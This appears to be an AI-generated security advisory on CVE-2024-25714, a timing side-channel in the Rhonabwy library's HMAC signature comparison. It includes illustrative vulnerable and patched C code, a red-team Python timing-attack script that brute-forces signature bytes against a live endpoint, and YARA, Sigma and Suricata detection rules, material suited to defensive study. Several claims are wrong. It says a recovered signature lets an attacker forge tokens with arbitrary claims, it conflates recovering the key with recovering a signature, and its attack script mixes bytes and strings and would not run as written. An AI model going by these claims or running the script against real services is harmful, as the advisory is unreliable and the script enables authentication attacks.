CVE-2024-25714

Executive Summary

CVE-2024-25714 is a security vulnerability in the Rhonabwy library (versions through 1.1.13) that exposes HMAC signature verification to side-channel attacks. The core issue lies in the use of strcmp for comparing HMAC signatures, which terminates comparison upon the first differing byte. This timing discrepancy allows an attacker to perform a timing side-channel attack to brute-force the correct HMAC signature byte-by-byte, potentially forging valid signatures and bypassing authentication or integrity checks.

The vulnerability has a CVSS score of 0.0 in the NVD, but this is likely a placeholder or error. Based on the impact, a more realistic CVSS vector is provided above. The EPSS score is 0.0%, indicating no active exploitation in the wild at the time of analysis. No public proof-of-concept (PoC) or exploit code is available.

Supply Chain & Package Security

Rhonabwy is a C library for JSON Object Signing and Encryption (JOSE) standards. It is used as a dependency in various applications and services that require JWT, JWS, JWE, or JWK handling. The vulnerability affects the integrity of HMAC-based signatures, which are commonly used in JWS (JSON Web Signature) for token validation. Any application using Rhonabwy for HMAC signature verification is at risk. The library is not distributed via typical package managers like npm or PyPI, but rather as a system library or source code dependency.

CVSS Breakdown & Threat Level

CVSS Vector: CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:H/I:H/A:N

• Attack Vector (AV): Network – The attack can be performed remotely over a network.
• Attack Complexity (AC): High – The attacker requires precise timing measurements and multiple requests to exploit the side-channel.
• Privileges Required (PR): None – No authentication is needed to send verification requests.
• User Interaction (UI): None – No user action is required.
• Scope (S): Unchanged – The vulnerability does not affect other components.
• Confidentiality (C): High – Successful exploitation could lead to forging signatures, compromising the confidentiality of signed data.
• Integrity (I): High – Forged signatures allow tampering with signed tokens or messages.
• Availability (A): None – The vulnerability does not directly impact availability.

Threat Level: High (7.4) – The attack is complex but can lead to severe integrity and confidentiality breaches.

Deep Dive & Mechanics

The vulnerability resides in the HMAC signature verification function within Rhonabwy. When verifying an HMAC-based signature (e.g., HS256, HS384, HS512 in JWS), the library compares the computed signature with the provided signature using strcmp. The strcmp function compares strings byte-by-byte and returns as soon as it finds a mismatch. This non-constant-time behavior leaks information about the correct signature through timing differences.

Attack Scenario:

1. The attacker obtains a valid JWT or signed message with an HMAC signature.
2. The attacker sends multiple verification requests with modified signatures, measuring the response time.
3. By observing which byte position causes the first mismatch (timing difference), the attacker can deduce the correct signature byte-by-byte.
4. Once the full signature is recovered, the attacker can forge arbitrary signed tokens.

The fix uses gnutls_memcmp, which performs a constant-time comparison, ensuring that the execution time does not depend on the content of the signatures.

Vulnerable vs. Patched Code

Vulnerable Code (Rhonabwy <= 1.1.13):

// Example vulnerable HMAC verification
int verify_hmac(const unsigned char *sig1, const unsigned char *sig2, size_t len) {
    return strcmp((const char*)sig1, (const char*)sig2) == 0;
}

Patched Code (Rhonabwy > 1.1.13):

// Patched using constant-time comparison
#include <gnutls/gnutls.h>

int verify_hmac(const unsigned char *sig1, const unsigned char *sig2, size_t len) {
    return gnutls_memcmp(sig1, sig2, len) == 0;
}

The key difference is the replacement of strcmp with gnutls_memcmp, which ensures that the comparison takes the same amount of time regardless of where the first difference occurs.

Exploitation & Lab Setup

Red Team

Objective: Forge an HMAC signature for a JWT token.

Prerequisites:

• Access to a service that uses Rhonabwy for JWT verification.
• Ability to send multiple verification requests and measure response times with high precision (e.g., using a local network or timing analysis tools).

Steps:

1. Obtain a valid JWT token from the target service.
2. Extract the HMAC signature from the token.
3. Use a timing attack tool (e.g., custom Python script) to brute-force the signature byte-by-byte:
   • For each byte position, send requests with varying byte values.
   • Measure the response time; the correct byte will cause a slightly longer delay (since strcmp continues to the next byte).
4. Reconstruct the full HMAC key or signature.
5. Forge a new JWT with arbitrary claims and the recovered signature.

Example Python Script (Conceptual):

import requests
import time

def timing_attack(url, token_template):
    # Assume token_template has a placeholder for signature
    recovered_sig = b""
    for pos in range(32):  # 32 bytes for HS256
        max_time = 0
        best_byte = 0
        for byte in range(256):
            test_sig = recovered_sig + bytes([byte]) + b"\x00" * (31 - pos)
            token = token_template.replace(b"SIG", test_sig.hex())
            start = time.perf_counter()
            requests.get(url, headers={"Authorization": f"Bearer {token}"})
            elapsed = time.perf_counter() - start
            if elapsed > max_time:
                max_time = elapsed
                best_byte = byte
        recovered_sig += bytes([best_byte])
    return recovered_sig

Blue Team

Detection:

• Monitor for unusual patterns of JWT verification requests with varying signatures from the same source.
• Look for timing anomalies in authentication logs (e.g., consistent delays for specific byte positions).
• Use the detection rules provided below.

Mitigation:

• Immediately update Rhonabwy to version > 1.1.13.
• If patching is not possible, implement a WAF rule to rate-limit requests from single IPs.
• Use constant-time comparison libraries in any custom HMAC verification code.

Indicators of Compromise (IOCs)

• Network: Repeated HTTP requests to JWT verification endpoints with incremental changes to the signature portion of the token.
• Logs: Authentication logs showing failed JWT verifications with timing patterns (e.g., consistent response times for specific byte values).
• File: Presence of custom scripts or tools for timing analysis (e.g., timing_attack.py).
• Process: Unusual network scanning or timing measurement tools (e.g., hping3, nping with timing options).

Detection Engineering

YARA Rule

rule CVE_2024_25714_Rhonabwy_HMAC_Timing {
    meta:
        description = "Detects vulnerable Rhonabwy HMAC verification using strcmp"
        author = "Valters IT"
        date = "2024-02-20"
        cve = "CVE-2024-25714"
    strings:
        $strcmp = "strcmp" nocase
        $hmac_verify = "verify_hmac" nocase
    condition:
        $strcmp and $hmac_verify
}

Sigma Rule

title: CVE-2024-25714 - Rhonabwy HMAC Timing Attack Detection
id: 8a9b7c6d-5e4f-3a2b-1c0d-9e8f7a6b5c4d
status: experimental
description: Detects potential timing attack against Rhonabwy HMAC verification
author: Valters IT
date: 2024/02/20
logsource:
    category: application
    product: rhonabwy
detection:
    selection:
        event: "JWT verification failed"
        count: 100
        timeframe: 1m
    condition: selection
falsepositives:
    - Legitimate high-traffic applications
level: high

Suricata Rule

alert tcp any any -> any 80 (msg:"CVE-2024-25714 - Rhonabwy HMAC Timing Attack"; flow:to_server; content:"Authorization"; content:"Bearer"; pcre:"/Bearer\s+[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+\.[A-Za-z0-9_-]+/"; threshold:type both, track by_src, count 100, seconds 60; sid:1000001; rev:1;)

Remediation & Mitigation

Immediate Actions:

1. Patch: Update Rhonabwy to version > 1.1.13. The fix is available in the official repository.
2. Workaround: If patching is delayed, implement a reverse proxy or WAF to rate-limit requests to JWT verification endpoints.
3. Code Review: Audit any custom HMAC verification code to ensure constant-time comparison functions are used (e.g., gnutls_memcmp, sodium_memcmp, or CRYPTO_memcmp).

Long-term Measures:

• Integrate static analysis tools to detect non-constant-time comparisons.
• Use libraries that are known to be resistant to timing attacks (e.g., libsodium, GnuTLS).
• Implement monitoring for timing anomalies in authentication flows.

Valters IT Signature: This report was generated by Valters IT DevSecOps AI. For further analysis, contact Valters IT.